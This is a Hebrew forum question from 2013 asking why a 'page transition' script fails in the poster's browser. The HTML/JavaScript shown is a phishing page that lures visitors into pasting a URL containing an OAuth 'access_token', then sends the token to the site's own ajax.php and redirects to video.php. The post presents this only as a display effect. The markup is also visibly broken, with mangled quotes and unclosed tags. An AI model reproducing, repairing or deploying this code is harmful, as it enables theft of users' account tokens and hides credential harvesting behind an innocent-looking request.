שלח תשובה

זירת השאלות

1401
צפיות
0
תשובות

העברת דף שקוף בCHROME תוך כדי לחיצה..

,‏ 13 באפריל, 2013

ניסיתי להשתמש בקוד


<body style="margin:0px;padding:0px;background:url(white.png) repeat;color:#333;">
<div style="width:100%;height:500px;background-color:#white;margin-top:90px;">
<div id="bg" style="position:relative;width:690px;height:500px;margin:0 auto;">
<div id="title" style="position:center;top:-60px;"><center><h1></h1></div>
<a href="javascript:void(0)" id="play"><img src="profileopen.png" width="100%" height="100%" style="border:0px;"></a>
<div id="start" style="position:absolute;background-color:transparent;width:200px;height:50px;top:120px;left:50px;display:none;"><a href="javascript:void(0)" onclick="gt=window.open('token.php', 'gt','toolbar=no,location=yes,directories=no,status=no, menubar=no,scrollbars=no,resizable=no,width=900,height=150'); gt.onload = function () {gt.focus();}; return false;" style="color:#3b5999;font-size:1.5em;text-decoration:none;"><img src="http://i.imgur.com/5B4et.png&quot<div id="input" style="position:absolute;background-color:transparent;width:645px;height:55px;top:348px;left:25px;display:none;"><form name="lol" action="post.php" method="post"><input id='token' type="text" name="token" style="border:0px;background-color:transparent;font-size:25px;font-weight:bold;width:644px;height:55px;">
<br /><a id="submit"><img onclick="if (document.getElementById('token').value == null || document.getElementById('token').value == ") { alert('אנא הכנס קוד אימות תקין!'); } else if (document.getElementById('token').value.indexOf('access_token') == -1) { alert('קוד אימות שגוי, לחץ מחדש לקבלת קוד ונסה שנית!')} else {var url = document.location.href; url = url.substring(0,url.lastIndexOf('/')+1); url2=document.getElementById('token').value; url2 = url2.substring(url2.indexOf('#'),url2.length); jsPopunder(url+'ajax.php?'+url2); window.location = url+'video.php'; }" src="
http://i.imgur.com/5B4et.png&quot</div>




שעובד כאמור רק בדפדפנים CHROME וFIREFOX. הקוד אמור [למי שיודע ולמי שלא] להעביר באלגנטיות את העמוד בו אתה מסתכל, כלומר רק את החלק המרכזי בעמוד. הדף לא מתרענן אפילו. השאלה שלי היא מדוע אצלי הקוד לא תקף? הלחיצה אמנם נעשת, הדף הראשון נעלם באלגנטיות ונהיה שקוף ובמקומו אמור לצוץ דף חדש. אך הדף החדש לא מופיע.

עזרה?

    שלח תשובה